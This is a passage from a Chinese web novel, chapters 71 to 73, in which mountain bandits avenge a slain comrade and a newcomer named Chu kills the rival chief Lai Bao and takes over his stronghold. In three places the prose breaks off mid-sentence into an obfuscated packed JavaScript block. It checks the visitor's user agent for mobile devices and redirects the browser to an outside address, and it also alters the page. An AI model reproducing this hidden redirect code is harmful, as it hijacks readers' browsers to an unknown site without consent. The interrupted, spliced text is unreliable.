岑虎将白冲交上来的断臂扔回他面前,慕峰青道,“犯你这罪的,脑袋上的断面大概与这断臂差不多。” 砍在土匪手臂上的刀好似架在了自己脖子上,白冲猛地仰起头不服道,“属下捡着虔来山土匪黑吃黑一窝乱的证据,足以将功抵罪了!” “大胆!”岑虎见他仍旧如此不敬,高声嚷道,“来人将他拖出去砍……” “哎哎!” 早被慕峰青喊来分析遇上两拨土匪汉子供出遇劫地形的王羌曹连忙出声喊住岑虎,他瞥了一眼跪在帐外那人,小声与慕峰青与岑虎说,“方才就觉得那小子面熟,直到他抬起头来属下才认出那位就是兴民城知州大人的独子白冲。” 岑虎问,“兴民城知州白向福?此次剿匪他还给了五百余人州府驻军?” 王羌曹点头,“正是。” 他娘的,拿人家的手短! 岑虎憋屈的看向自家将军,又见慕峰青也蹙着眉,抑着怒气,道,“拖下去……杖责二十军棍!” 领命而来的两位小兵一左一右将不甘心的白冲拖下去受罚,他们不协调的脚步走过山间干散的泥土,扬起了滚滚黄尘。 在这些弥漫的黄尘中,不时从上空落下几滴血珠,被身旁两人钳住的汉子浑身是血、神志不清时,嘴里还在呼喊—— “四哥……干你女马的,快放开我四哥!” 71. 寻仇 送走知命老道,安顿完初兄弟,齐威虎靠在忠义堂下的虎皮宝座上思忖威虎寨往后该如何在虔来山中立足。 寨子里二当家和手底下人交代在安南山那桩丢人事已经在这山里传开,要不豹子山那帮人也不会胆子大到在家门口欺负他们,弱肉强食,姓初的小子说的不错。 齐威虎起身不自觉来回踱步。 既然与豹子山的梁子已经结下,他们想必也已经猜出自己被抢那晚是遭了谁的黑手,与其胆战心惊的担忧他们寻仇,不如先下手…… “砰!” 忠义堂大门被人从外面踢开,伍二与姜九拖着一个浑身是血的汉子闯了进来。 “大当家的出事了!” 姜九带着哭腔大喊,齐威虎闻声心口一跳,赶忙小跑过来,搭手与他们将楚六搬到塌上,问,“这是怎么回事?” 伍二转身将跟着他们过来的喽啰们轰出去关上堂门,姜九一把鼻涕一把泪的摇头说,“不清楚,我与伍二哥送初兄弟回到住处后就去院里看兄弟们练拳了,可还没待够半个时辰,就忽然听见山寨外面有人喊救命,我俩立即出去查看,便只瞧见楚六哥这幅模样倒在地上。” 楚六在塌上呓语,人瞅着晕乎乎的,但似乎还有些意识,他浑身是血,看不出伤在何处,齐威虎问,“差人去喊小运气了吗?” 伍二答,“喊了,这会儿应该快到了。” 齐威虎点了点头,又想起问,“郑四呢?他俩不是一起出去的么?” 姜九的眼泪更凶了,“听楚六哥方才迷迷糊糊说,四哥…四哥他……好像死了…呜呜呜……” “死了?!” 齐威虎悬着的心终于砸了下来,他皱着眉低语,“我大意了……” 砰砰砰。 堂外有人慌张拍门,“大当家的,小运气来了!” 伍二开门迎进一位挎着木箱,大约十五六岁的少年,少年个头不高、年岁不大,看见山寨土匪头儿们也不怯场,一进门就直奔散着血腥味那处,“去烧些热水来。” “嗯好!” 姜九排行老末,跑腿这类差事做的得心应手,他应了声转身就出门喊人烧水,伍二走近问他,“还需要什么?” 小运气蹲在塌边将楚六的眼皮翻开仔细查看,“我要酒,越烈越好。” 齐威虎说,“坏了,寨子里压箱底那几坛子老窖给初兄弟庆功那日都喝光了,小运气,还有什么东西能顶替了烈酒吗?” 小运气头也不抬,“盐也行。” 齐威虎回忆了片刻,说,“先前有盐商曾用一包盐来向我买路,咱们伙房里好像还有些,伍二,你快去多多取些来。” “是!” 需要的东西还没送来,小运气先使自己随身带来的弯刀将黏在楚六身上的衣裳割开,揭了血迹最多的那几片布料后,他依次在楚六身上伤处查验,纳闷道,“他身上的伤不足以流出这么多血,衣服上这些血是谁溅在他身上的么?” 齐威虎皱眉不语,小运气又用力将楚六浑身的衣物扒了下来,确定他身上没有大量失血的地方后打开自己脚边的木箱,从中取出一根顶端裹着棉花的木杵,将其插在楚六后脑发间细细擦拭。 不多时,伍二将盐巴送到小运气手里,姜九也带着几个端着冒气木盆的喽啰进来。 小运气将盐巴洒进盆里搅开,指使他俩用帕子沾了水给楚六擦洗身上血污,自己则将一包银针展开搁在箱上,他挑了三根粗细合适的,分别在楚六头顶正中、发际正中上一寸、前发际正中直上半寸施针。 血水一盆一盆被端出去倒了,姜九为楚六擦完身子后拧干沥水的帕子正准备擦擦自己脑门上的汗时,忽然看见躺在塌上的哥哥绞着眉毛、挤着眼睛缓缓抬手想去揉他痛痒的后脑,惊喜道,“呀!楚六哥醒了!” 小运气一手将乱动的楚六按住,一手麻利的取下插在他脑袋上的银针。 伍二擦干手接替小运气控制住楚六,小运气这才得空开始简单给他包扎,“身上的伤口不深,他这体格裹缠这些都是多余,只是现下天气热,怕生炎症,哥哥们待会儿劝他多包一会儿,怎么着都需用完这副药才行。” 小运气给楚六包扎完又收拾好自己的药箱,起身道,“我方才在山里摘的草药还在路边撒着呢,得快快回去取了。” 齐威虎忙说,“今日多谢小运气了,伍二,去送送他。” “是!” 走出忠义堂,伍二腿长步子迈的大,小运气得小跑着才能跟上他,“伍二哥,我方才听大当家说给谁庆功,寨子里是又来新人了吗?” “嗯,是有一个新人,改天带你看看。” 小运气追赶不急,可仍亮着眼睛吭哧吭哧高兴问,“你原先都不让我多与威虎寨里的人打交道呢,这人是你认得还是我认得呀?” “到时候你就知道了。”伍二在山寨门口站住,伸手揉了揉小运气的脑袋道,“这几日先不要在山里采药了,要是听见寨子附近有什么声音也不要跑出来凑热闹。” 小运气多的也不问,只乖乖点头,“知道了,我一定藏得好好的。” “行了,去吧。” 看小运气转身走了,伍二立即疾步跑回忠义堂,刚到门口,果真听见楚六披着衣袍在塌上扭动挣扎,似是非要扯了身上裹缠的纱布去报仇。 见姜九与大当家的都按不住他,伍二大步跨进去,呵道,“乱发什么疯!你与郑四到底遇上什么事了?” 正儿八经揍过自己的人来了,楚六总算冷静下来,他红着眼睛抑住哭声,悔恨说,“我领了大当家的命与郑四哥寻偏僻小路送知命老道下山,都怪我懒了一下想省些力气回来练拳,于是和郑四商议了就从常走的那条路上过,却不想刚走到半道儿就遇上了豹子山的埋伏,赖豹一见我们就跳出来挥刀乱砍,事发突然,我与郑四来不及反应,刚躲过迎面一刀,下一瞬就见知命老道被他们乱刀砍死,我看他们人多势众对我俩不利,可郑四见状发起狠一定要与围着我们的豹子山众人拼死要活,我们双方争斗许久还是双拳难敌四手,郑四握刀的右手打的没劲了,刚垂下来就被身后一人用刀砍飞,他的血溅了我一身,我赶忙跑去护着他谁知自己这后脑勺又不知叫哪个杂种猛锤了一下,当即便不省人事了。” “不知道在地上晕了多久,我醒来时就瞧见老道死了,郑四也被他们分了好几块,周围再没有人,我只得爬起来往回跑,直到看见山寨大门才头昏脑涨的软着瘫倒,大当家的,咱们与豹子山的仇已经不是原先的小打小闹了,他们不讲道义在先,今日竟又要了咱们兄弟的命,求您给我一队兄弟,我誓要提了那赖豹的狗头与我郑四哥祭酒!” 姜九恨恨说,“豹子山这几年闷声发财,悄悄召集了不少并肩子(兄弟),二当家之前折了那么多人,眼下咱们哪还有用的趁手的兄弟跟他们去打。” 楚六喊道,“打不过就不打了么!郑四哥的仇就不报了么!就这么低着头任由豹子山那帮狗娘养的骑在我们威虎寨的脖子上撒尿么!” 姜九:“这仇当然要报,只是再不能让兄弟们白白去送死……” 楚六:“你就是怂了……” 齐威虎吼道,“够了!” 楚六心里不忿,偏过头咬牙切齿,这时他又听大当家说,“去请初兄弟过来。” “是!”姜九问,“大当家的,那知命老道是初兄弟点名让平安送出去的,如今出了这事,咱们用不用先瞒着他?” 齐威虎:“不,就实话与他说,那知命是遭了豹子山赖豹的毒手。” “这是为何!?” 姜九颔首就要去传话,身旁的伍二突然开口询问,他有些惊讶,问,“以往大当家的说话,伍二哥从来不问为什么?今日是怎么了?” 见齐威虎也疑惑看他,伍二和缓了语气,答,“咱们办事不利,与初兄弟食言,要是让他知道知命已死,还不知他会不会与咱们威虎寨结怨。” 齐威虎:“从见到初兄弟第一日我便发现,他虽然看着文质彬彬,一副白面书生做派,可身上的脾气秉性或许比楚六还要暴躁些,要是他知道豹子山土匪杀了他想送出去的人,必定不会将这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888120|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气咽下。” 姜九想明白了,问,“大当家的是想借他给咱们威虎寨出头?” 齐威虎点头,楚六却不服,“不过一个十几岁的小娃娃,大当家的凭着什么这般看得起他。” “凭他能眼也不眨的砍了牛三的脑袋,也凭他敢独身一人在土匪窝里与你摔杯子对骂。”齐威虎回想起那个仅凭一句碎语就能分析出朝廷剿匪心思与虔来山前景的少年,又说,“我其实也不知为何,总是觉得那小子不简单,这回权当试试他的本事,再考虑要不要留他,你们意下如何呢?” 伍二顿了一下,低头道,“全凭大当家的做主。” 楚六也退让一步,说,“那就听大当家的。” 姜九:“小的知道如何与初兄弟传话了,这就去请他来。” 知命被害的消息传到后山窑洞里,初兄弟先是一怔而后果然如齐威虎猜测的那般勃然大怒。 姜九小跑着跟在怒火冲天的初兄弟身后,偷偷拍着胸脯安慰自己,与初小哥添油加醋知命老道的死法实在是无奈之举,知命卜算再不准怎么说也都是个修道的,应当不会怪罪他。 初小哥穿过聚在门口等大当家命令的小喽啰们,一脚踹开忠义堂的大门闯进去后,径直走去扼住靠在塌上的楚六的脖颈,恨声质问,“这点小事都干不了,要你何用!” 齐威虎晓得初小哥虽然细胳膊细腿,可手劲着实不小,他眼看楚六被他掐的吐舌头瞪眼睛,赶忙让伍二上前将他二人分开。 楚六被掐的脖子脸通红,咳咳直咳嗽,嘴上也不忘激他,“那豹子山的赖豹逢人便砍,我兄弟郑四都被他杀了,更何况那个手无缚鸡之力的老头!就你能的厉害!不说将本事使到外面去,只知道在我身上撒气!” “你甭说这些话刺激我!我原本就打算去豹子山寻仇!”初小哥被伍二拉开后随即朝齐威虎颔首抱拳,“大当家的,我虽说与知命老道只有几面之缘,可在牢中三日,我确实受了他的关照,本以为托您送他离开,他便能在这世上多享几日福,却不想他此番遭人暗算,我的好心竟将他送进了鬼门关,此仇不报我誓不为人!恳请大当家的给我一队人手,我定能折了赖豹的脑袋与您下酒!” 一点就着的性子倒像是个涉世不深的娃娃,如此轻易就让他按照自己的心意行事,齐威虎心中暗喜,面上却犹豫不决,“初兄弟,倒不是我小气心狠不愿给你我报仇,实在是咱们威虎寨人单势弱,而那豹子山又向来心狠手辣、杀人如麻,我忧心你此番寻仇不成,反丢了自己的性命啊!” 初小哥不抬头,抱拳只说,“我心意已决,还望大当家的成全!” “那…这样吧……”齐威虎佯装被逼无奈,“我也不指派了,初兄弟自己去堂外挑些合适的兄弟与趁手的兵器,省的到头来你埋怨我藏私。” 忠义堂门自初小哥踹开后就没合上,门外威虎寨众人看着这个小鸡仔似的小哥不动弹也不开口追随,明摆着信不过他。 就在此时,有一大汉默默从初小哥身后走出来,说,“我愿随你同去。” 初小哥扭头才发现这人竟是伍二。 见伍二哥要去,姜九也举手上前,“我也要去为郑四哥报仇!” “带我一个!就算是死!我也要和赖狗头同归于尽!” 初小哥上下打量着胳膊腿都裹着纱布的楚六,嗤笑一声,“要不你还是好生歇着?” 被嘲讽的楚六猛地从塌上窜起来,胡乱扯开身上的纱布,“你个臭小子瞧不起谁呢,信不信老子现在就将你打趴下!” “省些力气待会儿使吧。”初小哥对齐威虎说,“大当家的,我要的人够了,今夜我便去夜探豹子山!” 齐威虎不知再说什么,叹了口气,语重心长道,“去吧。” 初小哥朝他抱了抱拳后转身就走,伍二与姜九相视一眼也紧跟他出去,倒是楚六拿起兄弟们替自己捡回来的大刀,追上去问,“哎哎,你怎么都不找件兵器带上啊?” 齐威虎远远听见初小哥朝他吼了一句—— “带你的路!少管我!” 72. 败寇 沾染了仇敌骨血的大刀就插在议事大堂的长桌正中,缺了刃的刀锋上挂着的鲜血已经凝结成固状,在盛夏的夜晚中发出铁锈般的腥臭味道,可围着它在长桌边吃肉喝酒的十数位壮汉都像是没闻到似的,依旧大口咀嚼、仰头畅饮。 山里的夜风舒爽惬意,来人的衣摆带着这风穿过堂门轻巧的走向正倚在一颗豹子头上眯眼唱曲的光头身边,附身贴耳道,“大当家的,夜宵已经送到后山厢房了,那位贵客听见咱的喜报也没有多说什么,小的送完饭临走时才听他道了声谢。” 光头没有睁眼,捏着嗓子用戏腔回了句,“好生照料着。” “是。” 办完差回完话,光头手下刚想入座与兄弟们接着用饭,一抬头就瞧见本该在山头外面值守的小子提着火尖枪匆忙进来。 “报!” “何事惊扰?” “回大当家的!回翻垛的!威虎寨来人了!” “哦?他们来了多少人?” “回大当家的,只有三个,领头的那位是个生脸,小的以前从没见过,瞧着十六七岁的模样,瘦瘦高高,说话也挺和气,像是读书人。” “老子白天刚砍了威虎寨两个人,当晚他们就在我豹子山门口候着了,就这交情…领头那个说话还挺和气?”光头终于坐起来看他,“问没问他们是来干什么的?” “问了。”值守的小喽啰支支吾吾,“说…说是为前几日在那条偏僻小路中无意打了您闷棍,今夜特地来赔罪的。” 无意? 光头笑得眼眶与下巴生疼,他扭曲着青中带紫、肿着大包的面颊嘴角,阴森道,“如此,那就带他们进来吧!” 大门外。 伍二与楚六一左一右跟在初小哥身后走进豹子山,带路的小喽啰一边推开在前面看热闹看到挡路的兄弟们,一边也忍不住回头偷瞧威虎寨这位面生的白面小哥。 虔来山底这些日子常有官兵埋伏,这人肯定不是近几日才上山的,可是之前与威虎寨打交道时,也没有见过他们的头头儿里还有这么一号人物啊? 小喽啰狐疑的将他们带到议事大堂门外,趁着人多,胡乱挤进一处角落与兄弟们一起注视着昂首跨进门内的三人。 楚六这一路梗着脖子紧跟在初小哥身后,周遭这些像是要把他们吃了的眼睛让他觉得浑身都不自在,他右手下意识想握住腰间佩刀以求慰藉,抬手摸了个空时才明白在门口豹子山喽啰搜他们身那会儿,空手站在前头等着他们忙活完的初小哥在嗤笑什么。 赖豹脑子被驴踢了,才会让他们带着刀进来,自己在山寨里劝初小哥多拿些兵器傍身之举简直是脱裤子放屁。 就这么胡思乱想着来到豹子山的议事大堂,楚六即使心中十分慌乱,可脑中仍时刻谨记初兄弟交代他与伍二那句:不要怯场不要慌,怎么嚣张怎么装! 堂上,搭着豹子头的光头注视着手下兄弟说的那位面生之人。 早在山门外,他们随身携带的兵器刀具就已经被值守的小喽啰们收走,此时手无寸铁的走在豹子山众人虎视眈眈的目光中不打颤发抖已经算好汉了,就更不必说走在前面那个还敢悠哉的四下打量,好似他不是来深入仇家老窝,而是闲着过来串门子的。 “来者何人,见着我们豹子山大当家的还不速速报上名来!” 侍立在光头身边的男子高喊出声,伍二立刻上前在初小哥耳边低语,“堂上坐着的便是豹子山赖豹,说话这人是他们翻垛的(军师)。” 初小哥立即面带恍然之色,抱拳道,“见过赖大当家的,小的姓初,是威虎寨新入伙的,前几日头回带着兄弟们在这山里做生意,因不认人,伤着了您,还请大当家的看在咱们两家是近邻,整日低头不见抬头见的,不要见怪。” 说是赔罪,可他只是动动嘴皮子啥礼都没带,怎能不见怪! 赖豹清楚这几个小子来肯定没安好心,又见他们虽没有送‘礼’,却也不曾带‘刀’,便笃定三人掀不起什么风浪,故而出言羞辱,“怎么?你们威虎寨二当家被毛都没长齐的娃娃们连锅端了,齐威虎那个独眼老剥皮就开始破罐破摔什么鸡零狗碎都不挑,连这种鸡崽似的小白脸都往自个寨子里收么!难怪在这虔来山里谋生活,还需花钱下山买粮食,真是丢人不知深浅!” 被人当面辱骂,初小哥像不是在挨骂一样,“是是是,您说的有理。” 一拳打进了棉花里,赖豹不死心,又向前了探身子,将胳膊肘柱在膝盖上,色眯眯看着初小哥,“小兄弟,我瞧你倒是个机灵的,长得么……也有些姿色,只可惜老天爷多给了你一个那玩意儿,不过你们既然是来赔罪,我看不如就将你赔给我豹子山,等到冬日时候,你受累与我还有我这些兄弟们暖暖被窝如何啊哈哈……” “你个死秃子嘴巴放干净点!” 豹子山众人被赖豹的污言秽语逗得哈哈大笑,伍二双手攥拳强忍着怒火,楚六却不像他那样沉得住气,指着赖豹又破口大骂,“我们来你豹子山是你等的福气,不说好生招待老子们也就罢了,净说那些但凡长了脑子的汉子都说不出的话来!我就说虔来山这几日为何臭气熏天的,原来是你这张狗嘴在漫天喷粪!” “大胆!” “反了天吧!你怎么说话的!” “撒野也不先看看这是谁的地盘……” 有人对自己大当家的不敬,议事大堂立即有人跳出咒骂,楚六撸起袖子就要跟他们动手,初小哥回头看了一眼,伍二随即连忙抬手拦着他不要冲动,于是楚六顺阶而下,假意被安抚下来,道,“行行行,这是你们的地盘,你们豹子山最厉害!行了吧……” 初小哥忙说,“是我这兄弟不懂规矩,让赖大当家见笑了。” 脾气这么暴的楚六都服了软,赖豹心里更加得意,他挥手让自家翻垛的附过身来,与他贴耳说了几句小话后,初小哥便看着那个领命过来的男子朝自己走来,“初小兄弟,我大当家的想请你过去详说。” 初小哥颔首还未抬步,就听身后的伍二与楚六齐声喊了句,“初兄弟!?” 两人声音里的焦急不似假装,初小哥侧身看着他们微微却及其郑重的点了一下头,而后跟在那位翻垛的身后往堂上走去。 看他乖巧,赖豹潇洒地靠在座上大手一挥,笑道,“来人,给威虎寨两位兄弟看座倒酒!” 底下人都晓得大当家叫那位俊俏的小兄弟过去想干什么,他们不怀好意嘿嘿笑了两声后,将搁在自己身旁空凳上的佩刀佩剑拿开,为还站在原地的威虎寨那两人腾位置。 “二位兄弟,愣着作甚,过来喝酒啊!” 堂内这些人想是已经喝了好一会儿了,目光混沌的好像早将他们方才的不快抛在了脑后,舌头也大的跟嘴里塞了棉花似的。 伍二与楚六相视一眼,向他们缓缓走去时余光仍紧紧关注着赖豹那边的动静。 赖豹坐在堂上高位,要走过去需要抬步踏过好几层石阶。 这些石阶陡峭,偏偏阶面又十分狭窄,脚后跟使不上力,只能用脚掌撑住浑身重量,初小哥没多走过这样的路,为了走稳只得低头将长衣摆提起,架着胳膊肘来保持平衡。 他本就生的白净,如此低着头行走谨慎的模样越发像一个娇俏的小姑娘,赖豹小腹一紧,对翻垛的呵斥道,“这路不好走,这细皮嫩肉的小兄弟你这厮也不知道扶着人家点!” “是是是……” 翻垛的话音刚落就听身后轻轻响起一声‘哎呦!’ 初小哥小弓步踩在石阶上,弯腰捂着像是崴着了的脚踝,垂着头一言不发。 “哎呦呦小兄弟是不扭着了?” 赖豹见他痛的都说不出话了,心疼的连忙从座上起身来迎,翻垛的也赶紧下了两级石阶俯身察看。 就在这时,初小哥借着翻垛的身体遮挡,弓着腰猛地抬头用双手握住进他的脖子用力一扭,那翻垛的瞪着眼睛闷哼一声后便软绵绵的扑到了初小哥肩上。 堂内灯火不甚明亮,赖豹闻声过来,只见两人在石阶道中一上一下贴的那么近也不知在干什么,初小哥看他过来立刻侧身将肩上的翻垛的推倒,一把撩开衣袍将绑在大腿内侧的大斧扯下径直朝赖豹的脑袋甩去! 豹子山翻垛的从石阶上滚落后摔倒地上,众人还不晓得发生了什么时,伍二率先抽出两把靠在他们脚边大刀,将其中一把抛给早已摊着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身旁之人鼻中再无气息,初小哥起身后,赖豹没了依靠只能任由脑袋带着身子重重砸在地上,初小哥看也不看的跨过他坐上那尊搁着豹子头的宝座,一一扫视完堂下呆滞看着自己的众人,冷声道,“豹子山大当家赖豹已死,缴械顺服我威虎寨之人不杀,否则…稍后自有大队人马来此处为不服者料理后事!” 楚六心虚地四下看了一眼,其中果不其然有人高声质问,“你吓唬谁呢!谁不知道你们二当家干了蠢事,带一帮人出去丢了性命,这几日虔来山底又被官府的人死死盯着,连一只蚂蚁都上不来,你们威虎寨从哪儿来的大队人马?” “我看他就是在胡说八道!他们只有三个人,兄弟们!咱需得砍了他为大当家的报仇!” “报仇!报仇!” “啊不好了!”堂外有人喘着粗气大声叫嚷,“咱们豹子山被人包围了!” “什么?!” “外面树丛里静悄悄的却亮着许多火把!我扒着门偷偷瞧了,恐怕外面一圈全是他们威虎寨的人。” 豹子头众人心中一惊,面面相觑。 初小哥瞥了他们一眼不再言语,只看着座上那只豹子头漫不经心的给它顺毛。 伍二这时仰着头,嘲讽反问,“门外若无人马,不然你们以为我三人为何敢赤手空拳的夜袭豹子山?” 短暂的沉默过后,自个大当家死后首先出声质问那人第一个扔了手中兵刃,俯首抱拳跪下,喊道,“赖豹已死,成王败寇、能者当家,我潘闯愿缴械顺服,求威虎寨英雄不计前嫌收小的入伙!” 有人开了口子,接连扔了兵器跪地求着入伙的声音便不绝入耳。 楚六惊诧的看向伍二,却见伍二扬着嘴角满目赞赏的看向坐在堂上的初小哥,至此他才确定,郑四的分尸之仇,报了。 不多时,豹子山议事大堂内外除了他们两人再无一人站着,方才喘着粗气大声叫嚷着进来报信的姜九混在豹子山喽啰中,哑着嗓子殷勤又问,“初英雄,咱们这就带着家当跟您回威虎寨吗?” “不急。”初小哥悠悠道—— “等你们先将在背后指点赖豹弱肉强食、先下手为强之人交出来再说。” 73. 当家 豹子山与威虎寨之间只隔了一座状如虎豹的山头,两寨距离不远,发家的年份和规模也十分接近,因而山寨里的屋舍布局都相差不大。 潘闯举着油灯引初小哥与楚六来到后山一处像是新建的简易厢房门前,恭敬说,“小的也不确定住在里面的是否就是给赖大当家出主意的那位,只晓得前几日大当家的从里面出来后就开始斗志昂扬的要与周边的小山寨刁难作对了。” 这厢房虽搭建的粗糙,但瞧里面日常要用的一应设施都很齐全,看着不像会让住在里面的人受委屈的样子,只不过这窗户上的木栅栏与门把上铐的锁又都是在说,此处其实也与那关押肉票的狱牢差不多。 初小哥:“开门。” “是。” 潘闯应声取出钥匙开门,侧身迎他二位先进去。 屋内没有点灯,唯有一袭皎洁月光自窗边倾斜而下,点亮了正闭眼盘腿在床上打坐之人的衣袍一角。 “这么晚了,你们还来做什么?” 听见声音,楚六才看见床边的矮凳上还坐着一个人,看他们进来,那人连忙起身,护崽子似的挡在前面,“我家先生才歇下,若有事详谈,明日再来罢!” 初小哥背光而立,双目适应了黑暗后看清面前说话之人虽穿的朴素,但言谈举止皆像是读过书的大户人家才能养出来的小厮。 “小哥不必害怕,我们豹子山今夜已经换了门庭,这位小兄…这位英雄为人和善,不似赖豹那般粗俗野蛮,他不会为难你家先生的,就只是有几句话想问问。” 潘闯举着油灯上前与小厮好言解释,借着他手中忽闪的灯火,初小哥的目光落在小厮护着的那位先生脸上后,眉头倏地微蹙起来,暗道:这不是…… “这不是前些日子赖豹从我手上抢去的‘肥羊’?” “呀!长得真是俊俏,难怪那个赖狗头要抢你了。”楚六看看小厮又抻着脖子越过他看向坐在床上那人,惊叹一句后又像忽然想起他们专门过来是要问什么,“诶?不对,赖豹近几日疯了似的欺负我们威虎寨,是不是就是你在后面指使的?” “我只是与他闲聊过几句,谈不上指使。” 闭目养神的俊俏公子缓缓睁开眼睛,那副上好的皮囊便立刻有了点睛之笔,他看向屋内几人的眼神顾盼生辉、温和有礼,就连大老粗楚六都看得呆了,恍惚间竟以为这间破屋子都好似因为他而变得华贵许多。 楚六脑袋一仰与身后的初小哥小声嘀咕,“将这么个妙人藏在此处,赖豹该不会真有什么乱七八糟的癖好吧……” 初小哥没有应和他,不动声色的往侧面挪了一步才开口,“谋思远虑,先解近忧,原来为豹子山解了近忧,与我行了方便的人,是你。” 这声音从两位喽啰身后传来,坐在床上的男子循声望去,却只瞧见一道隐匿在灯光与月光之外的修长身影。 “潘闯,这两人于我并无用处,继续养着也是浪费粮食,你得空时将他们蒙了眼睛送下山罢。” 初小哥说完转身离开,潘闯低头答是,楚六不知怎的忽然急了,忙追出去说,“初兄弟,你怎么让他送不让我送啊!我以后行事会小心的,你可千万别不信我啊……” 初? 俊俏公子在心里默默诵念完这个姓氏,自语道,“那位小哥瞧着确实和善。” 见门外两人走远,潘闯重重松了口气后将手中油灯搁在桌上,后怕说,“和善?哼!方才你是没瞧见他抡着把大斧取了我大当家性命的场面!只带了三个人!三个人啊!就敢夜袭豹子山,这还不到一夜呢,我们豹子山就改姓齐了。” 小厮惊讶问,“就他?他那样的小身板能杀了赖豹?不像啊!” 潘闯:“要不是亲眼看见,我也不信,你是没见他在议事大堂上的威风劲儿,你要是在那儿,恐怕也想当场给人家嗑一个。” 俊俏公子问,“你可知他的名号?” “只听他手下喊他初兄弟,其他就不知道了。”潘闯重新拿起油灯,“虽然人家才入伙威虎寨,可要我看,总有一天他的名号能在这虔来山都传的人尽皆知。” 才入伙。 那是在山底官兵埋伏前不久上的山。 见他有些出神,潘闯又道,“你们举止不俗,遇着难事也不像寻常百姓那样惧怕哭喊,一瞧就是见多了大世面的非富即贵之人,又偏对我们这种行当的小喽啰谦恭有加,实在是个有胆有礼的好人,既然我新当家的开了恩,要放你们走,那咱们择日不如撞日,就现在走,以免拖着再生出其他事端。” “那便多谢潘闯兄弟了。” 豹子山中,伍二和姜九正领着原豹子山土匪在院里清点山寨库存里的兵器与人员数量,往来其中的人员熙来攘往、人声鼎沸,虽然人多,但每个人脚下的步子并不混乱。 潘闯带着两人穿过井然有序的人群,被眼尖的伍二遇上盘问了几句,他听说是初小哥让送出去的,便也恭敬地开了门让他们走了。 依照命令将他们送到临近山底的地方,潘闯让主仆二人背对着原地转了几个圈,自己则在他们还迷糊的时候悄摸窜进草丛里原路跑回。 周边安静下来后,近情扯掉蒙着自己眼睛的黑布,又轻手解开先生的,两人在四下的黑暗中适应了好一会儿才在逐渐西沉的月光中看清脚下的路。 齐煴玥看着前方的平坦大道,说,“沿着这条路走,我们就能出去了。” “是。” 说是平坦大道,其实也并不好走,近情在山路上走出不远,就不时拧着眉毛弯腰揉脚,他都受不了,更何况自家细皮嫩肉的二少爷。 “要不是前线瞎传战报咱们也不会白白从晁都颠簸到西南,又从西南颠簸到晁……”近情抱怨说,“更不会就在快回到晁都时遇到这种祸事,害您在那土匪窝里受委屈。” “是因为我先修书祖父让他谨慎应对西南宵小的不时侵扰,他才会在身先士卒中不甚负伤,无论如何,我都得亲自去西南赔罪看望,这如何能怪到旁人身上。” “将军怎么会怪罪您呢,要不是您提前提醒,那群时常在夜里骚扰我军的南夷蛮子恐怕总会有几个趁乱混进中北,若真出了事,早看咱们不顺眼的朝廷还不知会给齐家按上什么罪名呢。” 他在安抚自己,齐煴玥笑了笑回想起那个‘巧合’。 那时他刚知晓一女子的姓名与下落,正欲动身去寻找时,就听到宣威军中传出老将军身受重伤的消息,他来不及多加考虑,唯有尽快启程前往西南,可当他千里迢迢闯入军营听到大哥那句‘你来的再晚些,祖父伤口的痂都要掉完了’后,当即明白自己是中了某个心眼比蜂巢还多,比螫针尖还小之人的调虎离山计了。 齐煴玥久久不出声,近情以为是自己失言,他闭嘴跟先生继续走了一会儿后,问,“先生,咱们还是沿着虔来山去安南山吗?” 走出脚下路过的那丛茂密草窝掩盖着篆刻‘虔来’二字的界堠碑,齐煴玥看着山底静的出奇树林草窝,道,“山路不好走,咱们不抄近路了,走官道罢。” 天边有浮云掠过,顺手带走了一弯明月,曦光从云层里透出,显现出鱼肚白似的天空。 忠义堂门大开着,清晨的风钻进去盖住了灯架上摇摇欲灭的火光,发出‘扑腾’一声,拄着胳膊在虎皮上打盹的齐威虎不知听见了什么,身子抽着跳了一下,他用发麻的手揉了揉自己僵硬的后颈,一抬头才看见外面天都亮了。 天亮了。 出去的人怎么还没有回来? 他刚想喊人进来问话,就听门外有人边跑边喊,“大当家的,初小哥和二、六、九回来啦!您快出来看啊!” 齐威虎心中一跳,连忙起身小跑出去,刚跨过忠义堂门槛,他抬眼便看见大院中间停了一辆盖着白布的板车,板车旁还黑压压跪倒了一片,不由问,“这是?” 初小哥走来抱拳道,“不负大当家所托,我已手刃豹子山大当家赖豹,他此时就躺在板车白布之下,而院里这些,便是久仰大当家威名,今后愿归服威虎寨、誓死追随于您的前豹子山诸位兄弟。” 幸福来得太过突然,齐威虎抬手在自己脸上打了一掌觉得痛了才知道眼前这些不是在做梦,这还不算完,他看到初小哥又从怀里取出一本账簿,双手递出后说,“这是缴获的豹子山现存所有粮食、兵器与各类日需清单,请您过目。” 好家伙,一夜之间连豹子山那个老秃子的家底都摸清楚了。 齐威虎虽然不认字,看不懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888122|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那清单上的东西到底算不算多,但仍不耽误他抱着赖豹赫赫一生的家当笑得花枝乱颤。 “初兄弟辛苦!辛苦!” 